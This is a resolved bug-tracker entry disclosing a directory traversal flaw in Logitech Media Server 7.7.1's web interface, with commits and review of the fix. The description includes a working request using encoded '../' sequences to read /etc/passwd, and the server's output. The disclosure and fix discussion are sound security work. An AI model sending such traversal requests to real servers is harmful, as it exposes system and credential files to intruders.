Bug 17841 - directory traversal vulnerability
: directory traversal vulnerability
Status: RESOLVED FIXED
Product: Logitech Media Server
Classification: Unclassified
Component: Web Interface
: 7.7.1
: All Other
: -- major with 3 votes (vote)
: 7.7.2
Assigned To: Michael Herger
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2011-12-27 00:03 UTC by fragfutter
Modified: 2012-02-14 21:38 UTC (History)
2 users (show)

See Also:
Category: Bug


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description fragfutter 2011-12-27 00:03:30 UTC
The logitech media server exposes a directory traversal vulnerability. 

Tested with CentOS release 5.7 2.6.18-274.12.1.el5 and debian 6.0.3 (squeeze)

original find by kotekote, forum thread 
http://forums.slimdevices.com/showthread.php?t=92591



$ telnet localhost 9000
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

GET /html/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
HTTP/1.0

HTTP/1.1 200 OK
Server: Logitech Media Server (7.7.1 - 33735)
Cache-Control: max-age=604800
Connection: close
Date: Fri, 16 Dec 2011 01:54:53 GMT
Content-Length: 2741
Content-Type: text/html; charset=utf-8
Expires: Fri, 23 Dec 2011 01:54:53 GMT
X-Time-To-Serve: 2.26416206359863

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
Comment 1 fragfutter 2011-12-28 04:58:42 UTC
*** This bug has been confirmed by popular vote. ***
Comment 2 SVN Bot 2012-02-14 05:36:12 UTC
 == Auto-comment from SVN commit #33835 to the slim repo by mherger ==
 == http://svn.slimdevices.com/slim?view=revision&revision=33835 ==

Fixed Bug: 17841
Description: don't allow directory traversal outside the HTML base folder
Comment 3 fragfutter 2012-02-14 11:20:58 UTC
My perl is really rusty, but i thought about two things

http://svn.slimdevices.com/slim/7.7/trunk/server/Slim/Web/Template/NoWeb.pm?view=markup&pathrev=33835

shouldn't line 182 anchor the pattern at the front of the $found? 

I'm not up to date with unicode in perl. But i would leave out the regexp match in line 176 just to be sure.
Comment 4 SVN Bot 2012-02-14 21:36:50 UTC
 == Auto-comment from SVN commit #33838 to the slim repo by mherger ==
 == http://svn.slimdevices.com/slim?view=revision&revision=33838 ==

Bug: 17841
Description: match the base path at the start of the requested URL.
Comment 5 Michael Herger 2012-02-14 21:38:58 UTC
> shouldn't line 182 anchor the pattern at the front of the $found? 

Good catch - thanks!

> I'm not up to date with unicode in perl. But i would leave out the regexp match
> in line 176 just to be sure.

Should be fine the way it is. We don't want to add the performance hit on all URLs.